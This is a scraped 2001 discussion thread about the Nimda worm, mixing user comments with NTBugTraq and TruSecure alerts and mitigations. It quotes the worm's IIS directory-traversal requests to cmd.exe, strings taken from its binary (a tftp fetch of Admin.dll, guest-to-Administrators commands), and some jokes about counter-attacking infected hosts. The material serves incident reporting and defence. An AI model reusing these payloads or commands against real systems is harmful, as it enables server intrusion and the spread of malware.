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New (More) Annoying Microsoft Worm Hits Net
Here are examples of the requests it's sending:
GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir
GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../
..%c1%1c../winnt/system32/cmd.exe?/c+dir
GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
While writing this story I was hit a total of 4 times, 16 GET attempts per attack. In only 4 minutes. Also of interest, My desktop has now been hit about 500 times today, all from 208.x.x.x IPs. This might be really bad. I still haven't read anything about this anywhere else, so you heard it here first ;)
Update Web servers compromised by this worm apparently attach a "readme.eml" to all web pages served... and due to a bug in IE5, it will automatically execute the file! Yay Internet Explorer!
Or is it something new?
Looks like an exploit that's been around for a while (way before CR)
Trolls throughout history:
Jonathan Swift
And it suddenly had to back up once a week after Code Red started thwacking my machine. Perhaps I should write a script to exploit the root-hack and shut down the affected machines so that the local cable circuit won't be clogged with that crap. I can't imagine how bad this will get.
It's not like @Home (in my area) is doing *anything* to stop this. I really think that they should be policing for such disruptive activities and informing their customers when unsecured machines on their network are comprimised.
STOP MISUSING APOSTROPHES, YOU MORONS!!!
I'm seeing massive numbers of timed out requests on my sytems this morning. It started at exactly 9:06 eastern time.
I checked one of the IPs and it said 'Fuck USA Government, Fuck PoisonBOx' and opened a second window with what looked like a MIME buffer overflow attempt. I run Opera on Linux so it didn't effect me. It looks like we may be getting hit in a shotgun approach. My systems are in the 207.227 range and 208.
Brian
Remember Lexington Green!
The 208.x.x.x is similiar to Code Red in that it attempts to scan local subnets (I bet you are have a 208.x.x.x IP); therefore, naming it 208 is only good for those in your Class A. We have received attempts from over 100 hosts infected with the Code Red 2 worm, starting from the local class C, then class B, and now class A and others. It appears to be attempting to find rooter servers, for what purpose I can only imagine.
www.iitelecom.qc.ca - - [18/Sep/2001:08:10:05 -0700] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 281
www.iitelecom.qc.ca - - [18/Sep/2001:08:10:05 -0700] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 291
www.iitelecom.qc.ca - - [18/Sep/2001:08:10:06 -0700] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 305
www.iitelecom.qc.ca - - [18/Sep/2001:08:10:06 -0700] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/syst em32/cmd.exe?/c+dir HTTP/1.0" 404 322
www.iitelecom.qc.ca - - [18/Sep/2001:08:10:07 -0700] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/syst em32/cmd.exe?/c+dir HTTP/1.0" 404 322
www.iitelecom.qc.ca - - [18/Sep/2001:08:10:07 -0700] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c 1%1c../..%c1%1c../winnt/system32/cmd.
--
"It is now safe to switch off your computer."
Why won't someone port these to linux? Microsoft Operating Systems seem to have a monopoly in this field. For now, if you read this in a *nix, just portscan your netmask and a few others and try a few old wu-ftp exploits.
"You have new mail, you open it. Your server begins port scanning every box on the internet. Do the server's mind? Of course not, they have nothing better to do." - New Microsoft Ad?
Chaos, Mayhem, and Destruction: Not
Here is how it is done:
Tools>Options>Security>check "Do not allow attchments to be saved or opened that could potentially be a virus"
Evidence from compromised boxes elsewhere on campus seems to indicate that this bug will create a ton of *.eml files on the computer and they are all about 78k. Wehaven't received an .eml file in hand yet, to view the contents. A variety of .eml files are created, including "desktop.eml",
"readme.eml", etc.
A compromised system will attach a readme.eml file to the bottom of all web pages served. This is because there is currently a bug out for IE5 that will auto execute any given .eml file.
Need a UNIX/Linux/network guru in the Boulde
When the dir command succeeds (or rather, when the worm believes it has succeeded), the next request has a tftp command embedded in it which attempts to install a file called Admin.dll. Following that, there is a request for the dll itself, which presumably kick starts the worm.
I'll take a look at Admin.dll later today.
I like to play children's songs in minor keys.
"We're all sons of bitches now." --J. Robert Oppenheimer
The 'Fuck PoisonBox' you're getting is due to the Sadmind virus.
o r.sadmind.html
More at:
http://www.symantec.com/avcenter/venc/data/backdo
From NTBugTraq
w32.nimda.amm
Just wait till some crappy band steals your nic.
-----BEGIN PGP SIGNED MESSAGE-----
/scripts and /msadc directory, as well as an attempt to use the /c and /d virtual roots to get to CMD.EXE). Further, it attempts to exploit numerous other known IIS vulnerabilities.
/scripts directory), please forward me a copy of that .dll ASAP.
M DU ChVqn6yReQXqEH
J Uu pDHB1Yy1DY/po6
a mK I2eqd4TdE0yfIO
There have been numerous reports of IIS attacks being generated by machines over a broad range of IP addresses. These "infected" machines are using a wide variety of attacks which attempt to exploit already known and patched vulnerabilities against IIS.
It appears that the attacks can come both from email and from the network.
A new worm, being called w32.nimda.amm, is being sent around. The attachment is called README.EXE and comes as a MIME-type of "audio/x-wav" together with some html parts. There appears to be no text in this message when it is displayed by Outlook when in Auto-Preview mode (always a good indication there's something not quite right with an email.)
The network attacks against IIS boxes are a wide variety of attacks. Amongst them appear to be several attacks that assume the machine is compromised by Code Red II (looking for ROOT.EXE in the
One thing to note is the attempt to execute TFTP.EXE to download a file called ADMIN.DLL from (presumably) some previously compromised box.
Anyone who discovers a compromised machine (a machine with ADMIN.DLL in the
Also, look for TFTP traffic (UDP69). As a safeguard, consider doing the following;
edit %systemroot/system32/drivers/etc/services.
change the line;
tftp 69/udp
to;
tftp 0/udp
thereby disabling the TFTP client. W2K has TFTP.EXE protected by Windows File Protection so can't be removed.
More information as it arises.
Cheers,
Russ - Surgeon General of TruSecure Corporation/NTBugtraq Editor
-----BEGIN PGP SIGNATURE-----
Version: PGP Personal Privacy 6.5.2
iQCVAwUBO6dmcRBh2Kw/l7p5AQHJCgQA1JHwqF5RjJX+QVM
Tm8Ujms5+6ia0tcT1qmZWJV48eHYNzV3+AyyO6Gn8ds/NVY
iycY2qnARDJP6KNmHI0bAdBUBtsnVo5P9itElIoqKbAorQj
hSW7yN2lhJc=
=YAwc
-----END PGP SIGNATURE-----
Just when I was hoping my cable company would unblock my HTTP port (which they said was "temporary"). Unfortunately, this will give them more fuel to make it permanent.
The HTTP port doesn't bug me as much as they have also blocked my mail port.
Question for sendmail experts out there, related to this: I'm currently using another system to tunnel my mail to my box on my cable modem. It works great, but a side effect is that it looks like all mail is coming from "localhost", which defeats the anti-Spam measures. Of course, it didn't take long for the cockroaches to find my mail server and use it for relaying. I've been fighting it by blocking specific subnets, but it's an annoying battle. Any suggestions?
Sometimes it's best to just let stupid people be stupid.
TruSecure ALERT- TSA 01-023 - W32.nimda.a.mm
Date: September 18, 2001
Time: 1000 EDT
RISK INDICES:
Initial Assessment: RED HOT
Threat: VERY HIGH, (rapidly increasing)
Vulnerability Prevalence: VERY HIGH, effects IIS servers version 4.0,
5.0, and internal networks.
Cost: High, command execution is possible
Vulnerable Systems: IIS 4.0 and 5.0
SUMMARY:
A new IIS worm is spreading rapidly. Its working name is Nimda:
W32.nimda.a.mm
It started about 9am eastern time today, Tuesday,September 18, 2001,
Mulitple sensors world-wide run by TruSecure corporation are getting
multiple hundred hits per hour. And began at 9:08am am.
The worm seems to be targeting IIS 4 and 5 boxes and tests boxes for
multiple vulnerabilities including:
Almost all are get scripts, and a get msadc (cmd.exe)
get_mem_bin
vti_bin owssvr.dll
Root.exe
CMD.EXE
../ (Unicode)
Getadmin.dll
Default.IDA
/Msoffice/ cltreq.asp
This is not code red or a code red variant.
The worm, like code red attempts to infect its local sub net first,
then spreads beyond the local address space.
It is spreading very rapidly.
TruSecure believes that this worm will infect any IIS 4 and IIS 5
box with well known vulnerabilities. We believe that there are
nearly 1Million such machines currently exposed to the Internet.
Risks Indices:
Vulnerability VULNERABILITY PREVALANCE is very high - Milllions of
Internet Web server hosts: TruSecure process and essential
configurations should generally be protective. The vulnerability
prevalence world-wide is very high
Threat - VERY HIGH and Growing The rate of growth and spread is
exceedingly rapid - significantly faster than any worm to date and
significantly faster than any variant of Code red.
Cost -- Unknown, probably moderate per infected system.
The worm itself is a file called
README.EXE, or ADMIN.DLL
a 56K file which is advertised as an audio xwave mime type file.
Other RISKS:
There is risk of DOS of network segments by traffic volume alone
There is large risk of successful attack to both Internet exposed IIS
boxes and to developer and Intranet boxes inside of corporations.
Judging by the Code Red II experience, we expect many subtle routes
of infection leading to inside corporate infections.
We cannot discount the coincidence of the date and time of release,
exactly one week to (probably to the minute) as the World Trade
Center attack .
REPLICATION:
There are at least three mechanisms of spread:
The worm seems to spread both by a direct IIS across Internet (IP
spread)
It probably also spreads by local shares. (this is not known for
sure at this time)
There is also an email vector where README.EXE is sent via email to
numerous accounts.
Mitigations
TruSecure essential practices should work.
Block all email with EXE attachments
Filter for README.EXE
Make sure IIS boxes are well patched and hardened, or removed from
both the Internet and Intranets.
Make sure any developer computing platforms are not running IIS of
any version (many do so by default if either.
Disconnect mail from the Internet
Advise users not to double click on any unexpected attachments.
Update anti-virus when your vendor has the signature.
Here are some interesting strings found in the readme.exe this worm sends down (some stuff snipped):
S ha res\Security
/add
/add
/active
/add
. %c 1%1c../..%c1%1c..
Concept Virus(CV) V.5, Copyright(C)2001 R.P.China
SYSTEM\CurrentControlSet\Services\lanmanserver\
share c$=c:\
user guest ""
localgroup Administrators guest
localgroup Guests guest
user guest
open
user guest
HideFileExt
/scripts
/MSADC
/scripts/..%255c..
/_vti_bin/..%255c../..%255c../..%255c..
/_mem_bin/..%255c../..%255c../..%255c..
/msadc/..%255c../..%255c../..%255c/..%c1%1c../.
/scripts/..%c1%1c..
/scripts/..%c0%2f..
/scripts/..%c0%af..
/scripts/..%c1%9c..
/scripts/..%%35%63..
/scripts/..%%35c..
/scripts/..%25%35%63..
/scripts/..%252f..
/root.exe?/c+
/winnt/system32/cmd.exe?/c+
net%%20use%%20\\%s\ipc$%%20""%%20/user:"guest"
tftp%%20-i%%20%s%%20GET%%20Admin.dll%%20
Admin.dll
c:\Admin.dll
d:\Admin.dll
e:\Admin.dll
window.open("readme.eml", null, "resizable=no,top=6000,left=6000")
/Admin.dll
qusery9bnow
-qusery9bnow
\mmc.exe
\riched20.dll
boot
Shell
explorer.exe load.exe -dontrunold
\system.ini
\load.exe
...try this. its a pretty quick hack, and you'll need to modify the path to your apache logs in the grep line. but its what I just whipped up. hope its useful. I just ran it and it works for me.
/var/log/httpd/error_log | awk '{print $8}' | sed -e s/]//`; do
#!/bin/sh
for LUSER in `grep "winnt"
if [ ! "`ipchains -L -n | grep $LUSER`" ]
then ipchains -A input -s $LUSER -d 0/0 -j DENY
fi
done
I keep trying to pick fights, but I can't shake this Excellent karma.
Microsoft has cost ISPs, businesses, and end users an incalculable amount of money and frustration and it is all due to their negligence. They were negligent when they created software and technologies that are so easily exploited. They were negligent in their testing of their products. They were negligent in not sending patch CDs through the mail to registered users. If they can send you upgrade offers via the mail, they can send you patch CDs to repair their defective products.
And before anyone starts quoting the Microsoft license, ISPs that run Linux/*BSD/Solaris are being hurt by the traffic, too. They have no license with Microsoft and they've been injured by Microsoft's negligence.
I'd like to see AOL, Earthlink, or some other big ISP take Microsoft's corporate butt to court, demanding compensatory and punitive damages for Microsoft's negligence.
Easier method:
.eml extension with Notepad. NOTE: this may affect Outlook since the .eml is an extension used for mail stores. Use at your own risk.
Create a text file and name it something like eml.reg. Right click, select Edit. Paste the following lines into the file:
REGEDIT4
[HKEY_CLASSES_ROOT\.eml]
@="Microsoft Internet Mail Message"
"Content Type"="text/plain"
And save the file. Double click and it will add itself to the registry. This will re-associate the
There is no reasonable defense against an idiot with an agenda
:wq
NO! Here's what wget showed me for one host:
[message/rfc822]
So this thing is really evil:
1. it uses many forms of attack
2. it attacks server _and_ clients
3. it propagates by tftping the load from altering hosts (probably from the host which
did the attack before)
4. it alters the content type for the client infection via http+IE
That's it! i'm sick of all these worms trying to get cmd.exe when i'm running linux! I'm gonna collect their IPs and flood them with requests for /etc/passwd!!!! If you want to contribute IPs or bandwidth, join the Passwd Flood Network (PFN)!! :)
They that quote Benjamin Franklin on liberty and safety deserve neither.
It's sitting at http://www.initialized.org/virus/readme.eml if anyone wants to take a peak at it...
*DO NOT OPEN IT IN INTERNET EXPLORER.*
Do you like German cars?
The best site to track this incident IMO (incidents.org) now has a pretty good picture of what's going on from a technical perspective.
A short summary:
The Nimda worm is now known to propogate four ways:
(1) An IIS vulnerability propagation mechanism where the worm attempts to exploit a large number of IIS vulnerabilities to gain control of a victim IIS server. Once in control, the worm uses tftp to fetch its code in a file called Admin.dll from the attacking server.
(2) Email propogation. The worm harvests email addresses from the address book and potentially the web browser history and sends itself to all addresses as an attachment called readme.exe. These executables are automatically executed if the receipient who opens (or previews) the email is running Internet Explorer 5 or 6. Note that the worm may spoof the source address on the emails.
(3) When a web server is infected, the worm replaces all web pages on the server with a binary encoded as a wav file, which can infect each client that connects to the server. The wav file is called readme.eml. Microsoft Internet Explorer 5.0 and higher will automatically execute the malicious file.
(4) The worm is network aware and propagates via open shares. It will propagate to shares that are accessible to username guest with no password.
See: www.incidents.org/react/nimda.php for the full details.
- YASP (Yet Another Security Professional) who is fighting this pretty heavily at work - nothing here infected, of course, but the traffic itself is threatening to become a pretty nice distributed DOS - our Internet Router (a decently-hefty CSCO 6500-series) is sitting at ~60% processor utilization.
---------
There is no try at jedinite.com
Wrong way:
Service Pack 6A
IIS cumulative rollup patch
Post SP6A security rollup patch
Right way:
Service Pack 6a
Post-SP6a Security Roll-up
IIS Cumulative Patch
We thought we were covered. Nope. :-(
(reference, focus-ms mailing list)
Anyone know if something like this exists for Apache? A tool like this, if widespread, could effectively contain future buffer-overrun type attacks.
No, Thursday's out. How about never - is never good for you?